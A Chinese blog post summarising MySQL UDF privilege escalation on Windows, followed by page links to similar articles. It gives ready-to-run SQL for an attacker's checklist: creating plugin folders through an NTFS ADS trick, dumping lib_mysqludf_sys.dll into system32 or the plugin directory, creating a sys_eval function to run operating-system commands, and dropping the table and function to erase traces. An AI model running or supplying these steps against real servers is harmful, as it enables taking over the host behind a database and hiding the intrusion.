00x1

首先判断mysql版本,

mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\

一般Lib、Plugin文件夹需要手工建立(可用流模式突破进而创建文件夹)

可能会用到的命令:

select @@datadir 路径

select @@version 版本

使用NTFS ADS流创建lib、plugin文件夹:

某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
select @@basedir; //查找mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //使用NTFS ADS流创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
执行成功以后再进行导出即可。

00x2

直接执行

create function sys_eval returns string soname 'udf.dll'

若成功则可直接执行命令。

00x3

mysql版本小于5.1此方法一般不成功,则需要导入dll到系统目录,一般导入到c:\windows\system32\,如果不可写入则试试c:\windows\(一般5.0一下放这)。

00x4

具体语句如下:

create table a (cmd LONGBLOB);

insert into a (cmd) values (hex(load_file('D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll'))); 

SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';

create function sys_eval returns string soname 'udf.dll'

select sys_eval('ipconfig');

00x5

擦除痕迹:

drop table a;
drop function sys_eval;

Ps:一定要是root

udf提权小结的更多相关文章

  1. udf提权方法和出现问题汇总

    一.适用条件 1.目标系统是Windows(Win2000,XP,Win2003): 2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数( ...

  2. udf提权原理详解

    0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...

  3. udf提权

    0x00前言: udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限 0x01什么是udf: udf(Userdefined function)是用户自定义函数 在my ...

  4. SQLMAP UDF提权

    SQLMAP UDF提权      1.连接mysql数据打开一个交互shell: sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --sql-s ...

  5. [视频]K8飞刀 mysql注入点拿shell & UDF提权教程

    [视频]K8飞刀  mysql注入点拿shell & UDF提权教程 链接: https://pan.baidu.com/s/1a7u_uJNF6SReDbfVtAotIw 提取码: ka5m

  6. MySQL的system命令在渗透测试中的使用以及UDF提权

    声明:下面引用关于SYSTEM的东西是自己之前的内容,是自己没有研究透导致的错误结论:有了错就要改,做技术的不能弄虚作假,时时刻刻要求自己要谨慎,虽然我的博客没人看,但是也要向所有已经看到的人道歉,错 ...

  7. 疑难杂症----udf提权无法导出.dll

    昨天进行测试一个网站,进行udf提权时候,没办法导出.dll, 起初以为是这个马的问题,后来用专用马,一样不行,但是有报错了,有上网找了半天,终于被我找到了. Mysql数据库从文件导入或导出到文件, ...

  8. mysql udf提权实战测试

    根据前天对大牛们的资料学习,进行一次mysql udf提权测试. 测试环境: 受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128 攻击者 ...

  9. [提权]mysql中的UDF提权

    由于udf提权是需要构造UDF函数文件的,涉及到了写文件.所以本次实验已经将mysql的配置做了改动:–secure-file-priv=''. 剧情须知: secure_file_priv 为 NU ...

随机推荐

  1. 阿里云ECS配置JDK和tomcat

    一.配置JDK 1.利用Xftp连接ECS 2.新建文件夹 在ECS上新建一个放压缩包的文件夹,便于整理 (此处也可以在xshell中利用代码新建mkdir /home/temp) 3.将下载好的JD ...

  2. 多个ip地址匹配正则表达式

    匹配规则:多个ip地址使用,号进行分割 例如:1.1.1.1,2.2.2.2var iplist =/^((25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d)))\.){3}( ...

  3. jstack、jmc、jhat工具使用详解

    jstack: 在上一次[https://www.cnblogs.com/webor2006/p/10669472.html]jcmd中也可以获取线程的堆栈信息,回顾一下: 其实在JDK中还有另一个专 ...

  4. linux网络编程之system v消息队列(一)

    经过上次对于进程通讯的一些理论的认识之后,接下来会通过实验来进一步加深对进程通讯的认识,话不多说,进入正题: 其实还可以通过管道,但是,管道是基于字节流的,所以通常会将它称为流管道,数据与数据之间是没 ...

  5. MyBatis_动态sql_foreach_mysql下foreach批量插入的两种方式

    方法1: 笔记要点出错分析与总结工程组织数据库组织0.重新修改Bean类    修改1.定义接口 //批量插入 public void addEmps(@Param("emps") ...

  6. MyBatis 3.0_[tp-24-25]_映射文件_参数处理_#与$取值区别_#{}更丰富的用法

    笔记要点出错分析与总结 /**================Mybatis参数值的获取:#和$符号的区别=============== * #{}:可以获得map中的值或者pojo对象属性的值; * ...

  7. 实践论:github搜索源码内容

    github搜索源码内容 github搜索源码内容 github搜索源码内容

  8. VUE this.$http.post 与后端flask 数据交互

    背景: 小鱼第一次前端用的VUE,然后前后端的交互调了几次,记录下来留给自己下次使用 前端 通过  form.XXX 获取数据,代码: <template> <el-form ref ...

  9. 修改DEDE文章标题长度,解决DEDE文章标题显示不全

    在用dede调用列表标题出来的时候,会发现标题文字字数显示不完全,那是因为dede默认标题出来长度是30个字符,为了让标题显示完整,要做以下修改! 进入后台–系统–系统设置–系统基本参数–其他选项–文 ...

  10. CF480E Parking Lot(two-pointers + 单调队列优化)

    题面 动态加障碍物,同时查询最大子正方形. n,m≤2000n,m\leq2000n,m≤2000 题解 加障碍不好做,直接离线后反着做,每次就是清除一个障碍物. 显然倒着做答案是递增的,而且答案的值 ...